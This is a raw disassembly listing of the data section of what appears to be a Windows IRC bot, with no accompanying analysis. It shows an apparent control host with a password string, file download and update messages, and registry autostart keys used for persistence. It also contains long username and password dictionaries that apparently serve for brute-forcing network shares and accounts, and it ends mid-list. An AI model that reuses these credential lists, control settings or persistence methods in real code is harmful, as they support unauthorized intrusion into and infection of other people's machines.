%.1f KB/sec.',0 align 4 unk_42C004 db 2 ; DATA XREF: sub_40BBF7+257o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCrcFailedDD_ db ' CRC Failed (%d != %d).',0 align 10h unk_42C040 db 2 ; DATA XREF: sub_40BBF7+1CDo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0 align 4 unk_42C088 db 2 ; DATA XREF: sub_40BBF7:loc_40BD8Fo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0 align 10h unk_42C0D0 db 2 ; DATA XREF: sub_40BBF7+191o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileDownloadSD db ' File download: %s (%dKB transferred).',0 align 4 unk_42C11C db 2 ; DATA XREF: sub_40BBF7+77o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_40C18B:loc_40C1CEo ; sub_4134AF+104o aInvalid db 'Invalid',0 ; DATA XREF: sub_40C18B:loc_40C1C8o aDisk db 'Disk',0 ; DATA XREF: sub_40C18B:loc_40C1C2o align 10h aNetwork db 'Network',0 ; DATA XREF: sub_40C18B:loc_40C1BCo aCdrom db 'Cdrom',0 ; DATA XREF: sub_40C18B:loc_40C1B6o align 10h aRam db 'RAM',0 ; DATA XREF: sub_40C18B:loc_40C1B0o aFailed db 'failed',0 ; DATA XREF: sub_40C21C:loc_40C2F4o ; sub_40C337+3Bo align 4 aSkb db '%sKB',0 ; DATA XREF: sub_40C21C+6Bo align 8 dword_42C198 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40C337+8Eo dd 2029206Ch, 2BBBB02h aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0 align 4 dword_42C1E8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40C337+58o dd 2029206Ch, 2BBBB02h aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0 align 4 aA_1 db 'A:\',0 ; DATA XREF: sub_40C409:loc_40C44Eo align 10h dword_42C240 dd 1A0Bh ; sub_40C574+451r dword_42C244 dd 1B58h dword_42C248 dd 1AA6h dword_42C24C dd 0CCEh ; sub_40CD3A+4E09r dword_42C250 dd 158Dh ; sub_40CD3A:loc_411C34r dword_42C254 dd 1 dword_42C258 dd 1 dword_42C25C dd 1 ; sub_40C574:loc_40C89Er byte_42C260 db 78h ; DATA XREF: sub_40C0D6:loc_40C0E2r ; sub_40CD3A+A99r ... align 4 dword_42C264 dd 9 ; sub_413F42+51r ... dword_42C268 dd 1 ; sub_40CD3A+26Er ... aId999 db 'id999',0 ; DATA XREF: sub_40C574+67o ; sub_40CD3A+3C7Bo ... align 4 aEnz999_9b db 'enz 999.9b',0 ; DATA XREF: sub_40CD3A:loc_4126FCo align 10h aHi db 'hi',0 ; DATA XREF: sub_40CD3A+5B32o ; sub_40CD3A+5BF5o align 4 aHome_najd_us db 'home.najd.us',0 ; DATA XREF: sub_40C574+389o ; sub_40C574+442o align 4 aDd_0 db '#dd',0 ; DATA XREF: sub_40C574+3AAo ; sub_40C574+458o aDpass db 'dpass',0 ; DATA XREF: sub_40C574+3C1o ; sub_40C574+46Ao align 10h byte_42C2A0 db 68h ; DATA XREF: sub_40C574:loc_40C9F4r ; sub_40C574+48Eo db 6Fh, 6Dh, 65h dd 6A616E2Eh, 73752E64h, 0 dword_42C2B0 dd 646423h aDpass_0 db 'dpass',0 ; DATA XREF: sub_40C574+4B6o align 4 byte_42C2BC db 4Dh ; DATA XREF: sub_40282F+84o ; sub_403166+Fo ... db 53h, 4Eh, 47h dd 2E323352h, 6D6F63h dword_42C2C8 dd 636C6574h, 36316D6Fh, 6C6C642Eh, 0dword_42C2D8 dd 69706F54h, 534D2063h, 3352474Eh, 32hdword_42C2E8 dd 2D564646h, 0 dd 474E534Dh, 2E323352h, 6D6F63h dword_42C2FC dd 692B782Bh, 0 dword_42C304 dd 46464623h, 0 ; sub_40CD3A+4C74o ... dword_42C30C dd 46464623h, 0 dword_42C314 dd 46464623h, 0 a78799 db '78799',0 ; DATA XREF: sub_40282F+9Ao align 4 aDd db 'dd',0 ; DATA XREF: sub_40282F+95o align 4 aDd_ db 'dd.',0 ; DATA XREF: sub_40282F+90o off_42C32C dd offset a@room ; DATA XREF: sub_40CD3A+5B95r ; "*@room" off_42C330 dd offset aMirc1_6_99 ; DATA XREF: sub_40CD3A+87Dr ; "mirc 1.6.99" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: seg001:off_42BB04o align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_414500+28o ; sub_414826+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_414500+D4o ; sub_414826+D4o align 10h dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" dd offset aUser_0 ; "USER" align 8 off_42C438 dd offset byte_43B188 ; DATA XREF: sub_404EC7:loc_404F57r ; sub_404EC7+9Co dd offset aAdministrato_1 ; "ADMINISTRATOR" dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aFubar ; "fubar" dd offset aBla ; "bla" dd offset aGuest_1 ; "GUEST" dd offset aRoot_0 ; "ROOT" dd offset aRoot ; "root" dd offset aAdmin_0 ; "ADMIN" dd offset aPassword ; "PASSWORD" dd offset aTemp ; "TEMP" dd offset aShare_0 ; "SHARE" dd offset aWrite ; "WRITE" dd offset aFull_0 ; "FULL" dd offset aLadeda ; "ladeda" dd offset aBoth ; "BOTH" dd offset aRead ; "READ" dd offset aFiles ; "FILES" dd offset aDemo ; "DEMO" dd offset aOwner_0 ; "OWNER" dd offset aOwner_1 ; "Owner" dd offset aEdu ; "edu" dd offset aTest ; "TEST" dd offset aAccess ; "ACCESS" dd offset aUser_0 ; "USER" dd offset aBackup ; "BACKUP" dd offset aSystem_0 ; "SYSTEM" dd offset aServer_1 ; "SERVER" dd offset aPepsi ; "pepsi" dd offset aLocal ; "LOCAL" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aChangeme_0 ; "Changeme" dd offset aTemp123 ; "temp123" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a654321 ; "654321" dd offset a54321 ; "54321" dd offset a111 ; "111" dd offset a11111111 ; "11111111" dd offset a88888888 ; "88888888" dd offset aPass_0 ; "pass" dd offset aPasswd ; "passwd" dd offset aDatabase ; "database" dd offset aAbcd ; "abcd" dd offset aAbc123 ; "abc123" dd offset aOracle ; "oracle" dd offset aSybase ; "sybase" dd offset a123qwe ; "123qwe" dd offset aComputer ; "computer" dd offset aInternet ; "Internet" dd offset aSuper ; "super" dd offset a123asd ; "123asd" dd offset aIhavenopass ; "ihavenopass" dd offset aGodblessyou ; "godblessyou" dd offset aEnable ; "enable" dd offset aXp_0 ; "xp" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2600 ; "2600" dd offset a110 ; "110" dd offset a111111 ; "111111" dd offset a121212 ; "121212" dd offset a123123 ; "123123" dd offset a1234qwer ; "1234qwer" dd offset a123abc ; "123abc" dd offset a007 ; "007" dd offset aAlpha ; "alpha" dd offset aPatrick ; "patrick" dd offset aPat ; "pat" dd offset aSex_0 ; "sex" dd offset aGod ; "god" dd offset aFoobar ; "foobar" dd offset aNilez ; "Nilez" dd offset aDevil ; "devil" dd offset aNetdevil ; "netdevil" dd offset aNetDevil ; "net-devil" dd offset a0wned ; "0wned" dd offset aOwned ; "owned" dd offset aIrule ; "irule" dd offset aNetfuck ; "netfuck" dd offset aFucked ; "fucked" dd offset aCrash ; "crash" dd offset aA_2 ; "a" dd offset aAaa ; "aaa" dd offset aAbc ; "abc" dd offset aTest123 ; "test123" dd offset aWin ; "win" dd offset aPc ; "pc" dd offset aAsdf ; "asdf" dd offset aSecret ; "secret" dd offset aQwer ; "qwer" dd offset aYxcv ; "yxcv" dd offset aZxcv ; "zxcv" dd offset aHome ; "home" dd offset aLogin ; "login" dd offset aPwd ; "pwd" dd offset aLove ; "love" dd offset aMypc ; "mypc" dd offset aMypc123 ; "mypc123" dd offset aAdmin123 ; "admin123" dd offset aPw123 ; "pw123" dd offset aMypass ; "mypass" dd offset aMypass123 ; "mypass123" dd offset aPw ; "pw" dd offset aMat ; "Mat" dd offset aMatt ; "Matt" dd offset aMatthew ; "Matthew" dd offset aGobo ; "gobo" dd offset aSatan ; "satan" dd offset aSatanik ; "satanik" dd offset aSatanic ; "satanic" dd offset aSpaceman ; "spaceman" dd offset aHeaven ; "heaven" dd offset aW00t ; "w00t" dd offset a0wn3d ; "0wn3d" dd offset aKiller ; "killer" dd offset aLeet ; "leet" dd offset aL33t ; "l33t" dd offset aL337 ; "l337" dd offset aHacker ; "hacker" dd offset aHax0r ; "hax0r" dd offset aScript ; "script" dd offset aScriptkiddie ; "scriptkiddie" dd offset aKiddie ; "kiddie" dd offset aMirc_0 ; "mirc" dd offset aUwontguessme ; "uwontguessme" dd offset aYouwontguessme ; "youwontguessme" dd offset aGuessme ; "guessme" dd offset asc_432D30 ; "x" dd offset aXx ; "xx" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aXxxxxx ; "xxxxxx" dd offset aXxxxxxx ; "xxxxxxx" dd offset aXxxxxxxx ; "xxxxxxxx" dd offset aXxxxxxxxx ; "xxxxxxxxx" dd offset dword_42645C dd offset a00 ; "00" dd offset aDeath ; "death" dd offset aTesting ; "testing" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a000000 ; "000000" dd offset aAcademia ; "academia" dd offset aAcademic ; "academic" dd offset aAccept ; "accept" dd offset aAccount ; "account" dd offset aAction ; "action" dd offset aAdam ; "adam" dd offset aAdrian ; "adrian" dd offset aAdrianna ; "adrianna" dd offset aAdult ; "adult" dd offset aAerobics ; "aerobics" dd offset aAids ; "aids" dd offset aAirplane ; "airplane" dd offset aAlaska ; "alaska" dd offset aAlbany ; "albany" dd offset aAlbatros ; "albatros" dd offset aAlbert ; "albert" dd offset aAlert ; "alert" dd offset aAlex ; "alex" dd offset aAlexande ; "alexande" dd offset aAlgebra ; "algebra" dd offset aAlias ; "alias" dd offset aAliases ; "aliases" dd offset aAlice ; "alice" dd offset aAlicia ; "alicia" dd offset aAlisa ; "alisa" dd offset aAlison ; "alison" dd offset aAllison ; "allison" dd offset aAllow ; "allow" dd offset aAlphabet ; "alphabet" dd offset aAmadeus ; "amadeus" dd offset aAmanda ; "amanda" dd offset aAmber ; "amber" dd offset aAmerica ; "america" dd offset aAmorphou ; "amorphou" dd offset aAnal ; "anal" dd offset aAnalog ; "analog" dd offset aAnarchis ; "anarchis" dd offset aAnarchy ; "anarchy" dd offset aAnchor ; "anchor" dd offset aAndrea ; "andrea" dd offset aAndroid ; "android" dd offset aAndromac ; "andromac" dd offset aAndy ; "andy" dd offset aAnfo ; "anfo" dd offset aAngela ; "angela" dd offset aAngerine ; "angerine" dd offset aAngie ; "angie" dd offset aAnimal ; "animal" dd offset aAnimals ; "animals" dd offset aAnita ; "anita" dd offset aAnna ; "anna" dd offset aAnne ; "anne" dd offset aAnnette ; "annette" dd offset aAnon ; "anon" dd offset aAnonymou ; "anonymou" dd offset aAnswer ; "answer" dd offset aAnthrax ; "anthrax" dd offset aAnthropo ; "anthropo" dd offset aAnvils ; "anvils" dd offset aAnything ; "anything" dd offset aApollo13 ; "apollo13" dd offset aApril ; "april" dd offset aAria ; "aria" dd offset aAriadne ; "ariadne" dd offset aArlene ; "arlene" dd offset aArmy ; "army" dd offset aArrow ; "arrow" dd offset aArthur ; "arthur" dd offset aArtist ; "artist" dd offset aAsian ; "asian" dd offset aAsshole ; "asshole" dd offset aAthena ; "athena" dd offset aAtmosphe ; "atmosphe" dd offset aAtom ; "atom" dd offset aAttack ; "attack" dd offset aAuthoriz ; "authoriz" dd offset aAztecs ; "aztecs" dd offset aAzure ; "azure" dd offset aBabe ; "babe" dd offset aBaby ; "baby" dd offset aBacchus ; "bacchus" dd offset aBackdoor ; "backdoor" dd offset aBadass ; "badass" dd offset aBailey ; "bailey" dd offset aBall ; "ball" dd offset aBanana ; "banana" dd offset aBananas ; "bananas" dd offset aBandit ; "bandit" dd offset aBank ; "bank" dd offset aBanks ; "banks" dd offset aBarbara ; "barbara" dd offset aBarber ; "barber" dd offset aBare ; "bare" dd offset aBarf ; "barf" dd offset aBaritone ; "baritone" dd offset aBart ; "bart" dd offset aBartman ; "bartman" dd offset aBaseball ; "baseball" dd offset aBasic ; "basic" dd offset aBass ; "bass" dd offset aBassoon ; "bassoon" dd offset aBatch ; "batch" dd offset aBatman ; "batman" dd offset aBeach ; "beach" dd offset aBeammeup ; "beammeup" dd offset aBear ; "bear" dd offset aBeast ; "beast" dd offset aBeater ; "beater" dd offset aBeauty ; "beauty" dd offset aBeaver ; "beaver" dd offset aBecky ; "becky" dd offset aBeethove ; "beethove" dd offset aBegin ; "begin" dd offset aBehead ; "behead" dd offset aBell ; "bell" dd offset aBeloved ; "beloved" dd offset aBenz ; "benz" dd offset aBeowulf ; "beowulf" dd offset aBerkeley ; "berkeley" dd offset aBerlin ; "berlin" dd offset aBerliner ; "berliner" dd offset aBeryl ; "beryl" dd offset aBeta ; "beta" dd offset aBeth ; "beth" dd offset aBetsie ; "betsie" dd offset aBetty ; "betty" dd offset aBeverly ; "beverly" dd offset aBible ; "bible" dd offset aBicamera ; "bicamera" dd offset aBigfoot ; "bigfoot" dd offset aBill ; "bill" dd offset aBinary ; "binary" dd offset aBios ; "bios" dd offset aBird ; "bird" dd offset aBishop ; "bishop" dd offset aBitch ; "bitch" dd offset aBitmap ; "bitmap" dd offset aBitnet ; "bitnet" dd offset aBlack ; "black" dd offset aBlonde ; "blonde" dd offset aBlondie ; "blondie" dd offset aBlood ; "blood" dd offset aBloodaxe ; "bloodaxe" dd offset aBlow ; "blow" dd offset aBlowjob ; "blowjob" dd offset aBlue ; "blue" dd offset aBlues ; "blues" dd offset aBoard ; "board" dd offset aBomb ; "bomb" dd offset aBoner ; "boner" dd offset aBoob ; "boob" dd offset aBoobs ; "boobs" dd offset aBook ; "book" dd offset aBorn ; "born" dd offset aBoyscout ; "boyscout" dd offset aBradley ; "bradley" dd offset aBrandi ; "brandi" dd offset aBrandy ; "brandy" dd offset aBravo ; "bravo" dd offset aBreak ; "break" dd offset aBreast ; "breast" dd offset aBrenda ; "brenda" dd offset aBrian ; "brian" dd offset aBridget ; "bridget" dd offset aBroadway ; "broadway" dd offset aBrothel ; "brothel" dd offset aBrunette ; "brunette" dd offset aBrute ; "brute" dd offset aBrutefor ; "brutefor" dd offset aBulls ; "bulls" dd offset aBullshit ; "bullshit" dd offset aBumbling ; "bumbling" dd offset aBung ; "bung" dd offset aBurgess ; "burgess" dd offset aBurn ; "burn" dd offset aButch ; "butch" dd offset aButt ; "butt" dd offset aButthead ; "butthead" dd offset aCaliforn ; "californ" dd offset aCamille ; "camille" dd offset aCampanil ; "campanil" dd offset aCamping ; "camping" dd offset aCandi ; "candi" dd offset aCandy ; "candy" dd offset aCantor ; "cantor" dd offset aCaptain ; "captain" dd offset aCapture ; "capture" dd offset aCard ; "card" dd offset aCardinal ; "cardinal" dd offset aCaren ; "caren" dd offset aCarla ; "carla" dd offset aCarmen ; "carmen" dd offset aCarol ; "carol" dd offset aCarole ; "carole" dd offset aCarolina ; "carolina" dd offset aCaroline ; "caroline" dd offset aCarrie ; "carrie" dd offset aCarson ; "carson" dd offset aCascades ; "cascades" dd offset aCash ; "cash" dd offset aCastle ; "castle" dd offset aCatherin ; "catherin" dd offset aCatholic ; "catholic" dd offset aCathy ; "cathy" dd offset aCave ; "cave" dd offset aCayuga ; "cayuga" dd offset aCecily ; "cecily" dd offset aCelt ; "celt" dd offset aCeltic ; "celtic" dd offset aCeltics ; "celtics" dd offset aCerulean ; "cerulean" dd offset aChange ; "change" dd offset aCharity ; "charity" dd offset aCharles ; "charles" dd offset aCharlie ; "charlie" dd offset aCharming ; "charming" dd offset aCharon ; "charon" dd offset aChat_0 ; "chat" dd offset aChem ; "chem" dd offset aChemistr ; "chemistr" dd offset aChess ; "chess" dd offset aChester ; "chester" dd offset aChip ; "chip" dd offset aChris ; "chris" dd offset aChristin ; "christin" dd offset aChristy ; "christy" dd offset aCigar ; "cigar" dd offset aCigarett ; "cigarett" dd offset aCindy ; "cindy" dd offset aClass ; "class" dd offset aClasses ; "classes" dd offset aClassic ; "classic" dd offset aClaudia ; "claudia" dd offset aClaymore ; "claymore" dd offset aCleavage ; "cleavage" dd offset aClinton ; "clinton" dd offset aCluster ; "cluster" dd offset aClusters ; "clusters" dd offset aCoast ; "coast" dd offset aCocacola ; "cocacola" dd offset aCocainco ; "cocainco" dd offset aCock ; "cock" dd offset aCode ; "code" dd offset aCodename ; "codename" dd offset aCodeword ; "codeword" dd offset aCoffee ; "coffee" dd offset aCoin ; "coin" dd offset aCoke ; "coke" dd offset aCola ; "cola" dd offset aCold ; "cold" dd offset aCollins ; "collins" dd offset aColor ; "color" dd offset aCombat ; "combat" dd offset aComics ; "comics" dd offset aCommit ; "commit" dd offset aCommrade ; "commrade" dd offset aCompany ; "company" dd offset aComputin ; "computin" dd offset aComrade ; "comrade" dd offset aComrades ; "comrades" dd offset aCondo ; "condo" dd offset aCondom ; "condom" dd offset aConnect ; "connect" dd offset aConnie ; "connie" dd offset aConserva ; "conserva" dd offset aConsole ; "console" dd offset aContinue ; "continue" dd offset aCook ; "cook" dd offset aCookbook ; "cookbook" dd offset aCookie ; "cookie" dd offset aCool ; "cool" dd offset aCooper ; "cooper" dd offset aCopper ; "copper" dd offset aCops ; "cops" dd offset aCopy ; "copy" dd offset aCorneliu ; "corneliu" dd offset aCorrect ; "correct" dd offset aCounters ; "counters" dd offset aCountry ; "country" dd offset aCouscous ; "couscous" dd offset aCowboy ; "cowboy" dd offset aCrack ; "crack" dd offset aCrackpot ; "crackpot" dd offset aCream ; "cream" dd offset aCreate ; "create" dd offset aCreation ; "creation" dd offset aCreature ; "creature" dd offset aCredit ; "credit" dd offset aCreosote ; "creosote" dd offset aCretin ; "cretin" dd offset aCrime ; "crime" dd offset aCriminal ; "criminal" dd offset aCristina ; "cristina" dd offset aCrystal ; "crystal" dd offset aCshrc ; "cshrc" dd offset aCunt ; "cunt" dd offset aCustomer ; "customer" dd offset aCyber ; "cyber" dd offset aCyberpun ; "cyberpun" dd offset aCyberspa ; "cyberspa" dd offset aCynthia ; "cynthia" dd offset aDaemon ; "daemon" dd offset aDaisy ; "daisy" dd offset aDana ; "dana" dd offset aDancer ; "dancer" dd offset aDaniel ; "daniel" dd offset aDanielle ; "danielle" dd offset aDanny ; "danny" dd offset aDapper ; "dapper" dd offset aDark ; "dark" dd offset aDarkaven ; "darkaven" dd offset aData ; "data" dd offset aDave ; "dave" dd offset aDawn ; "dawn" dd offset aDead ; "dead" dd offset aDeathsta ; "deathsta" dd offset aDebbie ; "debbie" dd offset aDeborah ; "deborah" dd offset aDebug ; "debug" dd offset aDecember ; "december" dd offset aDeck ; "deck" dd offset aDefault ; "default" dd offset aDefault_0 ; "DEFAULT" dd offset aDefoe ; "defoe" dd offset aDelta ; "delta" dd offset aDeluge ; "deluge" dd offset aDemocrat ; "democrat" dd offset aDenise ; "denise" dd offset aDennis ; "dennis" dd offset aDesiree ; "desiree" dd offset aDesk ; "desk" dd offset aDesktop ; "desktop" dd offset aDesperat ; "desperat" dd offset aDevelop ; "develop" dd offset aDevice ; "device" dd offset aDial ; "dial" dd offset aDiamond ; "diamond" dd offset aDiana ; "diana" dd offset aDiane ; "diane" dd offset aDice ; "dice" dd offset aDick ; "dick" dd offset aDiehard ; "diehard" dd offset aDiet ; "diet" dd offset aDieter ; "dieter" dd offset aDigital ; "digital" dd offset aDinosaur ; "dinosaur" dd offset aDipshit ; "dipshit" dd offset aDirect ; "direct" dd offset aDirector ; "director" dd offset aDirty ; "dirty" dd offset aDisc ; "disc" dd offset aDiscipli ; "discipli" dd offset aDisclose ; "disclose" dd offset aDiscover ; "discover" dd offset aDisk_0 ; "disk" dd offset aDiskette ; "diskette" dd offset aDisney ; "disney" dd offset aDisplay ; "display" dd offset aDoctor ; "doctor" dd offset aDollar ; "dollar" dd offset aDong ; "dong" dd offset aDoom ; "doom" dd offset aDoom2 ; "doom2" dd offset aDoomii ; "doomii" dd offset aDoomsday ; "doomsday" dd offset aDoonesbu ; "doonesbu" dd offset aDoor ; "door" dd offset aDoors ; "doors" dd offset aDope ; "dope" dd offset aDownload ; "download" dd offset aDragon ; "dragon" dd offset aDrdoom ; "drdoom" dd offset aDrive ; "drive" dd offset aDrought ; "drought" dd offset aDuck ; "duck" dd offset aDude ; "dude" dd offset aDuelist ; "duelist" dd offset aDuke ; "duke" dd offset aDulce ; "dulce" dd offset aDuncan ; "duncan" dd offset aDungeon ; "dungeon" dd offset aDyke ; "dyke" dd offset aEager ; "eager" dd offset aEagle ; "eagle" dd offset aEarth ; "earth" dd offset aEasier ; "easier" dd offset aEasy ; "easy" dd offset aEatme ; "eatme" dd offset aEcho ; "echo" dd offset aEddie ; "eddie" dd offset aEdges ; "edges" dd offset aEdinburg ; "edinburg" dd offset aEdit ; "edit" dd offset aEdition ; "edition" dd offset aEducation ; "education" dd offset aEducatio ; "educatio" dd offset aEdwin ; "edwin" dd offset aEdwina ; "edwina" dd offset aEgghead ; "egghead" dd offset aEiderdow ; "eiderdow" dd offset aEileen ; "eileen" dd offset aEinsiein ; "einsiein" dd offset aEinstein ; "einstein" dd offset aElaine ; "elaine" dd offset aElanor ; "elanor" dd offset aElectron ; "electron" dd offset aElephant ; "elephant" dd offset aElizabet ; "elizabet" dd offset aEllen ; "ellen" dd offset aEmail ; "email" dd offset aEmerald ; "emerald" dd offset aEmily ; "emily" dd offset aEmmanuel ; "emmanuel" dd offset aEnemy ; "enemy" dd offset aEngine ; "engine" dd offset aEngineer ; "engineer" dd offset aEngland ; "england" dd offset aEnglish ; "english" dd offset aEnter ; "enter" dd offset aEnterpri ; "enterpri" dd offset aEnzyme ; "enzyme" dd offset aErenity ; "erenity" dd offset aEric ; "eric" dd offset aErica ; "erica" dd offset aErika ; "erika" dd offset aErin ; "erin" dd offset aErotic ; "erotic" dd offset aErsatz ; "ersatz" dd offset aEstablis ; "establis" dd offset aEstate ; "estate" dd offset aEternity ; "eternity" dd offset aEuclid ; "euclid" dd offset aEvelyn ; "evelyn" dd offset aExpert ; "expert" dd offset aExplode ; "explode" dd offset aExplore ; "explore" dd offset aExplorer ; "explorer" dd offset aExplosiv ; "explosiv" dd offset aExtensio ; "extensio" dd offset aFairway ; "fairway" dd offset aFaith ; "faith" dd offset aFalcon ; "falcon" dd offset aFalse ; "false" dd offset aFamily ; "family" dd offset aFarad ; "farad" dd offset aFaraday ; "faraday" dd offset aFart ; "fart" dd offset aFast ; "fast" dd offset aFear ; "fear" dd offset aFeds ; "feds" dd offset aFelicia ; "felicia" dd offset aFender ; "fender" dd offset aFermat ; "fermat" dd offset aFerrari ; "ferrari" dd offset aFidelity ; "fidelity" dd offset aField ; "field" dd offset aFight ; "fight" dd offset aFile ; "file" dd offset aFinite ; "finite" dd offset aFire ; "fire" dd offset aFirewall ; "firewall" dd offset aFishers ; "fishers" dd offset aFlakes ; "flakes" dd offset aFloat ; "float" dd offset aFlorida ; "florida" dd offset aFlower ; "flower" dd offset aFlowers ; "flowers" dd offset aFood ; "food" dd offset aFool ; "fool" dd offset aFoolproo ; "foolproo" dd offset aFootball ; "football" dd offset aForce ; "force" dd offset aFord ; "ford" dd offset aForesigh ; "foresigh" dd offset aForever ; "forever" dd offset aForm ; "form" dd offset aFormat ; "format" dd offset aFornicat ; "fornicat" dd offset aForsythe ; "forsythe" dd offset aFourier ; "fourier" dd offset aFoxtrot ; "foxtrot" dd offset aFrance ; "france" dd offset aFrank ; "frank" dd offset aFreak ; "freak" dd offset aFred ; "fred" dd offset aFree ; "free" dd offset aFreedom ; "freedom" dd offset aFrench ; "french" dd offset aFriday ; "friday" dd offset aFriend ; "friend" dd offset aFriends ; "friends" dd offset aFrighten ; "frighten" dd offset aFrog ; "frog" dd offset aFryguy ; "fryguy" dd offset aFuck ; "fuck" dd offset aFucker ; "fucker" dd offset aFucking ; "fucking" dd offset aFuckme ; "fuckme" dd offset aFuckyou ; "fuckyou" dd offset aFudge ; "fudge" dd offset aFunction ; "function" dd offset aFungible ; "fungible" dd offset aGabriel ; "gabriel" dd offset aGames ; "games" dd offset aGardner ; "gardner" dd offset aGarfield ; "garfield" dd offset aGateway ; "gateway" dd offset aGatherin ; "gatherin" dd offset aGatt ; "gatt" dd offset aGauss ; "gauss" dd offset aGeorge ; "george" dd offset aGerm ; "germ" dd offset aGertrude ; "gertrude" dd offset aGhost ; "ghost" dd offset aGibson ; "gibson" dd offset aGigabyte ; "gigabyte" dd offset aGina ; "gina" dd offset aGinger ; "ginger" dd offset aGirl ; "girl" dd offset aGlacier ; "glacier" dd offset aGold ; "gold" dd offset aGolden ; "golden" dd offset aGolf ; "golf" dd offset aGolfer ; "golfer" dd offset aGood ; "good" dd offset aGorgeous ; "gorgeous" dd offset aGorges ; "gorges" dd offset aGosling ; "gosling" dd offset aGouge ; "gouge" dd offset aGovermen ; "govermen" dd offset aGrades ; "grades" dd offset aGraham ; "graham" dd offset aGrahm ; "grahm" dd offset aGrand ; "grand" dd offset aGrant ; "grant" dd offset aGreat ; "great" dd offset aGreen ; "green" dd offset aGroup ; "group" dd offset aGryphon ; "gryphon" dd offset aGuardian ; "guardian" dd offset aGucci ; "gucci" dd offset aGuess ; "guess" dd offset aGuitar ; "guitar" dd offset aGumption ; "gumption" dd offset aGuntis ; "guntis" dd offset aHack ; "hack" dd offset aHacked ; "hacked" dd offset aHagar ; "hagar" dd offset aHair ; "hair" dd offset aHallowee ; "hallowee" dd offset aHamlet ; "hamlet" dd offset aHamster ; "hamster" dd offset aHandel ; "handel" dd offset aHandily ; "handily" dd offset aHandjob ; "handjob" dd offset aHappenin ; "happenin" dd offset aHard ; "hard" dd offset aHardcore ; "hardcore" dd offset aHarddriv ; "harddriv" dd offset aHarmony ; "harmony" dd offset aHarold ; "harold" dd offset aHarvey ; "harvey" dd offset aHate ; "hate" dd offset aHaven ; "haven" dd offset aHawaii ; "hawaii" dd offset aHead ; "head" dd offset aHeadbang ; "headbang" dd offset aHeat ; "heat" dd offset aHeathen ; "heathen" dd offset aHeather ; "heather" dd offset aHebrides ; "hebrides" dd offset aHeidi ; "heidi" dd offset aHeinlein ; "heinlein" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aHelp ; "help" dd offset aHerb ; "herb" dd offset aHerbert ; "herbert" dd offset aHero ; "hero" dd offset aHeroin ; "heroin" dd offset aHewlett ; "hewlett" dd offset aHexadeci ; "hexadeci" dd offset aHiawatha ; "hiawatha" dd offset aHibernia ; "hibernia" dd offset aHidden ; "hidden" dd offset aHigh ; "high" dd offset aHighland ; "highland" dd offset aHitler ; "hitler" dd offset aHits ; "hits" dd offset aHole ; "hole" dd offset aHolly ; "holly" dd offset aHollywoo ; "hollywoo" dd offset aHomepage ; "homepage" dd offset 